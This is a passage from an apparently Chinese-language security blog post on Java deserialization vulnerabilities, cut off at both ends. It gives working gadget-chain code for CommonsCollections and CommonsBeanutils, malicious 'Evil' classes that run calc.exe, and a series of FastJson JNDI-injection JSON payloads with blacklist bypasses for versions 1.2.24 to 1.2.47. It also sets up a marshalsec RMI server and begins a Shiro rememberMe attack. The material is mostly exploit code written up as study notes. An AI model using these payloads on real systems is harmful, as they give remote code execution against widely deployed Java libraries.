function">getDeclaredField</span><span class="token punctuation">(</span><span class="token string">"iTransformers"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        f<span class="token punctuation">.</span><span class="token function">setAccessible</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        f<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>transformerChain<span class="token punctuation">,</span>transformers<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">out</span><span class="token punctuation">(</span>expMap<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">out</span><span class="token punctuation">(</span><span class="token class-name">HashMap</span> handler<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">&#123;</span>        <span class="token class-name">ByteArrayOutputStream</span> barr <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ByteArrayOutputStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">ObjectOutputStream</span> oos <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ObjectOutputStream</span><span class="token punctuation">(</span>barr<span class="token punctuation">)</span><span class="token punctuation">;</span>        oos<span class="token punctuation">.</span><span class="token function">writeObject</span><span class="token punctuation">(</span>handler<span class="token punctuation">)</span><span class="token punctuation">;</span>        oos<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>barr<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">ObjectInputStream</span> ois <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ObjectInputStream</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">ByteArrayInputStream</span><span class="token punctuation">(</span>barr<span class="token punctuation">.</span><span class="token function">toByteArray</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Object</span> o <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">Object</span><span class="token punctuation">)</span>ois<span class="token punctuation">.</span><span class="token function">readObject</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><h3 id="CommonsBeanutils"><a href="#CommonsBeanutils" class="headerlink" title="CommonsBeanutils"></a>CommonsBeanutils</h3><p>这条链主要就是<code>BeanComparator</code>这个类的利用了，涉及<code>JavaBean</code>的操作，通过<code>BeanComparator.compare</code>触发<code>PropertyUtils.getProperty</code>进行<code>JavaBean</code>操作，触发<code>TemplatesImpl</code>的<code>getOutputProperties</code>方法，然后<code>newTransformer</code>，之后就是<code>TemplatesImpl</code>动态加载字节码了</p><pre class="language-java" data-language="java"><code class="language-java"><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span>trax<span class="token punctuation">.</span></span><span class="token class-name">TemplatesImpl</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span>trax<span class="token punctuation">.</span></span><span class="token class-name">TransformerFactoryImpl</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>beanutils<span class="token punctuation">.</span></span><span class="token class-name">BeanComparator</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>ibatis<span class="token punctuation">.</span>javassist<span class="token punctuation">.</span></span><span class="token class-name">ClassPool</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>ibatis<span class="token punctuation">.</span>javassist<span class="token punctuation">.</span></span><span class="token class-name">CtClass</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token operator">*</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span><span class="token class-name">PriorityQueue</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token keyword">static</span> <span class="token import static"><span class="token namespace">com<span class="token punctuation">.</span>loader<span class="token punctuation">.</span></span><span class="token class-name">Reflections</span><span class="token punctuation">.</span><span class="token static">setFieldValue</span></span><span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">CommonsBeanutils</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token class-name">String</span><span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">&#123;</span>        <span class="token class-name">ClassPool</span> pool <span class="token operator">=</span> <span class="token class-name">ClassPool</span><span class="token punctuation">.</span><span class="token function">getDefault</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">CtClass</span> clazz <span class="token operator">=</span> pool<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token class-name"><span class="token namespace">com<span class="token punctuation">.</span>loader<span class="token punctuation">.</span></span>HelloTemplatesImpl</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">.</span><span class="token function">getName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">TemplatesImpl</span> obj <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">TemplatesImpl</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"_bytecodes"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token punctuation">&#123;</span>clazz<span class="token punctuation">.</span><span class="token function">toBytecode</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"_name"</span><span class="token punctuation">,</span> <span class="token string">"HelloTemplatesImpl"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"_tfactory"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">TransformerFactoryImpl</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">final</span> <span class="token class-name">BeanComparator</span> comparator <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">BeanComparator</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token class-name">String</span><span class="token punctuation">.</span>CASE_INSENSITIVE_ORDER<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">final</span> <span class="token class-name">PriorityQueue</span><span class="token generics"><span class="token punctuation">&lt;</span><span class="token class-name">Object</span><span class="token punctuation">></span></span> queue <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">PriorityQueue</span><span class="token generics"><span class="token punctuation">&lt;</span><span class="token class-name">Object</span><span class="token punctuation">></span></span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> comparator<span class="token punctuation">)</span><span class="token punctuation">;</span>        queue<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token string">"1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        queue<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token string">"1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>comparator<span class="token punctuation">,</span> <span class="token string">"property"</span><span class="token punctuation">,</span> <span class="token string">"outputProperties"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>queue<span class="token punctuation">,</span> <span class="token string">"queue"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Object</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">&#123;</span>obj<span class="token punctuation">,</span> obj<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">ByteArrayOutputStream</span> barr <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ByteArrayOutputStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">ObjectOutputStream</span> oos <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ObjectOutputStream</span><span class="token punctuation">(</span>barr<span class="token punctuation">)</span><span class="token punctuation">;</span>        oos<span class="token punctuation">.</span><span class="token function">writeObject</span><span class="token punctuation">(</span>queue<span class="token punctuation">)</span><span class="token punctuation">;</span>        oos<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>barr<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">ObjectInputStream</span> ois <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ObjectInputStream</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">ByteArrayInputStream</span><span class="token punctuation">(</span>barr<span class="token punctuation">.</span><span class="token function">toByteArray</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Object</span> o <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">Object</span><span class="token punctuation">)</span>ois<span class="token punctuation">.</span><span class="token function">readObject</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><h3 id="FastJson"><a href="#FastJson" class="headerlink" title="FastJson"></a>FastJson</h3><h4 id="DNSLOG"><a href="#DNSLOG" class="headerlink" title="DNSLOG"></a>DNSLOG</h4><p>判断是否存在FastJson反序列化漏洞</p><pre class="language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span><span class="token property">"xxx"</span><span class="token operator">:</span><span class="token punctuation">&#123;</span><span class="token property">"@type"</span><span class="token operator">:</span><span class="token string">"java.net.Inet4Address"</span><span class="token punctuation">,</span><span class="token property">"val"</span><span class="token operator">:</span><span class="token string">"l42dtg.dnslog.cn"</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><h4 id="1-2-24"><a href="#1-2-24" class="headerlink" title="1.2.24"></a>1.2.24</h4><p>实际上利用的是<code>lookup</code>函数来进行<code>JNDI</code>注入</p><p>编写一个恶意类<code>Evil.java</code></p><pre class="language-java" data-language="java"><code class="language-java"><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span></span><span class="token class-name">DOM</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span></span><span class="token class-name">TransletException</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span>runtime<span class="token punctuation">.</span></span><span class="token class-name">AbstractTranslet</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xml<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>dtm<span class="token punctuation">.</span></span><span class="token class-name">DTMAxisIterator</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xml<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>serializer<span class="token punctuation">.</span></span><span class="token class-name">SerializationHandler</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token class-name">IOException</span></span><span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">Evil</span> <span class="token keyword">extends</span> <span class="token class-name">AbstractTranslet</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">transform</span><span class="token punctuation">(</span><span class="token class-name">DOM</span> document<span class="token punctuation">,</span> <span class="token class-name">SerializationHandler</span><span class="token punctuation">[</span><span class="token punctuation">]</span> handlers<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">TransletException</span> <span class="token punctuation">&#123;</span> <span class="token punctuation">&#125;</span>    <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">transform</span><span class="token punctuation">(</span><span class="token class-name">DOM</span> document<span class="token punctuation">,</span> <span class="token class-name">DTMAxisIterator</span> iterator<span class="token punctuation">,</span> <span class="token class-name">SerializationHandler</span> handler<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">TransletException</span> <span class="token punctuation">&#123;</span> <span class="token punctuation">&#125;</span>    <span class="token keyword">public</span> <span class="token class-name">Evil</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">IOException</span> <span class="token punctuation">&#123;</span>        <span class="token class-name">Runtime</span><span class="token punctuation">.</span><span class="token function">getRuntime</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">exec</span><span class="token punctuation">(</span><span class="token string">"calc.exe"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><p><code>javac</code>编译成<code>class</code>文件，然后<code>python -m http.server</code>起一个<code>http</code>服务来供RMI服务来加载恶意类，使用<code>marshalsec</code>这个工具来起一个RMI服务</p><p>项目地址：<a href="https://github.com/mbechler/marshalsec">https://github.com/mbechler/marshalsec</a></p><pre class="language-bash" data-language="bash"><code class="language-bash">java -cp .<span class="token punctuation">\</span>marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8000/<span class="token comment">#Evil</span></code></pre><p>然后漏洞触发代码</p><pre class="language-java" data-language="java"><code class="language-java"><span class="token keyword">package</span> <span class="token namespace">com<span class="token punctuation">.</span></span><span class="token class-name">FastJson_1_2_24</span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>alibaba<span class="token punctuation">.</span>fastjson<span class="token punctuation">.</span></span><span class="token class-name">JSON</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>rowset<span class="token punctuation">.</span></span><span class="token class-name">JdbcRowSetImpl</span></span><span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">Rmi_Poc</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token class-name">String</span><span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token class-name">String</span> <span class="token class-name">PoC</span> <span class="token operator">=</span> <span class="token string">"&#123;\"xxx\":&#123;\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/calc\", \"autoCommit\":true&#125;&#125;"</span><span class="token punctuation">;</span>        JSON<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span><span class="token class-name">PoC</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><ul><li><code>@type</code>： 指定恶意利用类 <code>com.sun.rowset.JdbcRowSetImpl</code></li><li><code>dataSourceName</code> ：指定<code>RMI / LDAP</code> 恶意服务器，并调用<code>setDataSourceName</code> 函数</li><li><code>autoCommit</code>：调用 <code>setAutoCommit</code> 函数</li></ul><h4 id="1-2-25-1-2-41"><a href="#1-2-25-1-2-41" class="headerlink" title="1.2.25-1.2.41"></a>1.2.25-1.2.41</h4><pre class="language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span><span class="token property">"xxx"</span><span class="token operator">:</span><span class="token punctuation">&#123;</span><span class="token property">"@type"</span><span class="token operator">:</span><span class="token string">"Lcom.sun.rowset.JdbcRowSetImpl;"</span><span class="token punctuation">,</span><span class="token property">"dataSourceName"</span><span class="token operator">:</span><span class="token string">"rmi://127.0.0.1:1099/calc"</span><span class="token punctuation">,</span> <span class="token property">"autoCommit"</span><span class="token operator">:</span><span class="token boolean">true</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><p>问题出在<code>TypeUtils.loadClass</code>,如果类名以<code>L</code>开头<code>;</code>结尾，就会删除掉开头和结尾得到新的类名，以新类名作为参数递归调用<code>loadClass</code>函数，最终加载<code>JdbcRowSetImpl</code>并返回，后续利用过程同上</p><h4 id="1-2-42"><a href="#1-2-42" class="headerlink" title="1.2.42"></a>1.2.42</h4><p>绕过方式为类名开头两个<code>L</code>，结尾两个<code>;</code>，这样删除一次开头结尾后的类名为<code>Lcom.sun.rowset.JdbcRowSetImpl;</code>，不会触发黑名单。</p><pre class="language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span><span class="token property">"xxx"</span><span class="token operator">:</span><span class="token punctuation">&#123;</span><span class="token property">"@type"</span><span class="token operator">:</span><span class="token string">"LLcom.sun.rowset.JdbcRowSetImpl;;"</span><span class="token punctuation">,</span><span class="token property">"dataSourceName"</span><span class="token operator">:</span><span class="token string">"rmi://127.0.0.1:1099/calc"</span><span class="token punctuation">,</span> <span class="token property">"autoCommit"</span><span class="token operator">:</span><span class="token boolean">true</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><h4 id="1-2-43"><a href="#1-2-43" class="headerlink" title="1.2.43"></a>1.2.43</h4><pre class="language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span><span class="token property">"xxx"</span><span class="token operator">:</span><span class="token punctuation">&#123;</span><span class="token property">"@type"</span><span class="token operator">:</span><span class="token string">"[com.sun.rowset.JdbcRowSetImpl"</span><span class="token punctuation">[</span><span class="token punctuation">&#123;</span><span class="token property">"dataSourceName"</span><span class="token operator">:</span><span class="token string">"rmi://127.0.0.1:1099/calc"</span><span class="token punctuation">,</span> <span class="token property">"autoCommit"</span><span class="token operator">:</span><span class="token boolean">true</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><h4 id="1-2-44-1-2-45"><a href="#1-2-44-1-2-45" class="headerlink" title="1.2.44-1.2.45"></a>1.2.44-1.2.45</h4><p>有限制，需要使用<code>MyBatis</code></p><pre class="language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span><span class="token property">"xxx"</span><span class="token operator">:</span><span class="token punctuation">&#123;</span><span class="token property">"@type"</span><span class="token operator">:</span><span class="token string">"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory"</span><span class="token punctuation">,</span><span class="token property">"properties"</span><span class="token operator">:</span><span class="token punctuation">&#123;</span><span class="token property">"data_source"</span><span class="token operator">:</span><span class="token string">"rmi://127.0.0.1:1099/Exploit"</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><h4 id="1-2-46-1-2-47"><a href="#1-2-46-1-2-47" class="headerlink" title="1.2.46-1.2.47"></a>1.2.46-1.2.47</h4><pre class="language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span><span class="token property">"name"</span><span class="token operator">:</span><span class="token punctuation">&#123;</span><span class="token property">"@type"</span><span class="token operator">:</span><span class="token string">"java.lang.Class"</span><span class="token punctuation">,</span><span class="token property">"val"</span><span class="token operator">:</span><span class="token string">"com.sun.rowset.JdbcRowSetImpl"</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span><span class="token property">"x"</span><span class="token operator">:</span><span class="token punctuation">&#123;</span><span class="token property">"@type"</span><span class="token operator">:</span><span class="token string">"com.sun.rowset.JdbcRowSetImpl"</span><span class="token punctuation">,</span><span class="token property">"dataSourceName"</span><span class="token operator">:</span><span class="token string">"rmi://localhost:1099/Exploit"</span><span class="token punctuation">,</span><span class="token property">"autoCommit"</span><span class="token operator">:</span><span class="token boolean">true</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><p>目前分析到这，后面再加</p><h3 id="Shiro"><a href="#Shiro" class="headerlink" title="Shiro"></a>Shiro</h3><p><code>shiro</code>反序列化漏洞这个问题主要出在<code>rememberMe</code>这个<code>cookie</code>参数，是一个记住我的功能，用户登陆成功后会生成经过加密并编码的cookie，在服务端接收cookie值后，Base64解码–&gt;AES解密–&gt;反序列化。攻击者只要找到AES加密的密钥，就可以构造一个恶意对象，对其进行序列化–&gt;AES加密–&gt;Base64编码，然后将其作为cookie的rememberMe字段发送，Shiro将rememberMe进行解密并且反序列化，最终造成反序列化漏洞。</p><p>起一个<code>shiro tomcat</code>，代码都在这：<a href="https://github.com/phith0n/JavaThings">https://github.com/phith0n/JavaThings</a></p><p>先写个恶意类<code>Evil.java</code></p><pre class="language-java" data-language="java"><code class="language-java"><span class="token keyword">package</span> <span class="token namespace">com<span class="token punctuation">.</span>govuln<span class="token punctuation">.</span>shiroattack</span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span></span><span class="token class-name">DOM</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span></span><span class="token class-name">TransletException</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span>runtime<span class="token punctuation">.</span></span><span class="token class-name">AbstractTranslet</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xml<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>dtm<span class="token punctuation">.</span></span><span class="token class-name">DTMAxisIterator</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xml<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>serializer<span class="token punctuation">.</span></span><span class="token class-name">SerializationHandler</span></span><span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">Evil</span> <span class="token keyword">extends</span> <span class="token class-name">AbstractTranslet</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">transform</span><span class="token punctuation">(</span><span class="token class-name">DOM</span> document<span class="token punctuation">,</span> <span class="token class-name">SerializationHandler</span><span class="token punctuation">[</span><span class="token punctuation">]</span> handlers<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">TransletException</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span>    <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">transform</span><span class="token punctuation">(</span><span class="token class-name">DOM</span> document<span class="token punctuation">,</span> <span class="token class-name">DTMAxisIterator</span> iterator<span class="token punctuation">,</span> <span class="token class-name">SerializationHandler</span> handler<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">TransletException</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span>    <span class="token keyword">public</span> <span class="token class-name">Evil</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">super</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span><span class="token string">"Hello TemplatesImpl"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Runtime</span><span class="token punctuation">.</span><span class="token function">getRuntime</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">exec</span><span class="token punctuation">(</span><span class="token string">"calc.exe"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><h4 id="CommonsCollectionsShiro"><a href="#CommonsCollectionsShiro" class="headerlink" title="CommonsCollectionsShiro"></a>CommonsCollectionsShiro</h4><p>用的CC链触发，需要构造不含数组的反序列化Gadget</p><pre class="language-java" data-language="java"><code class="language-java"><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span>trax<span class="token punctuation">.</span></span><span class="token class-name">TemplatesImpl</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span>trax<span class="token punctuation">.</span></span><span class="token class-name">TransformerFactoryImpl</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">javassist<span class="token punctuation">.</span></span><span class="token class-name">ClassPool</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">javassist<span class="token punctuation">.</span></span><span class="token class-name">CtClass</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections<span class="token punctuation">.</span></span><span class="token class-name">Transformer</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections<span class="token punctuation">.</span>functors<span class="token punctuation">.</span></span><span class="token class-name">InvokerTransformer</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections<span class="token punctuation">.</span>keyvalue<span class="token punctuation">.</span></span><span class="token class-name">TiedMapEntry</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections<span class="token punctuation">.</span>map<span class="token punctuation">.</span></span><span class="token class-name">LazyMap</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token 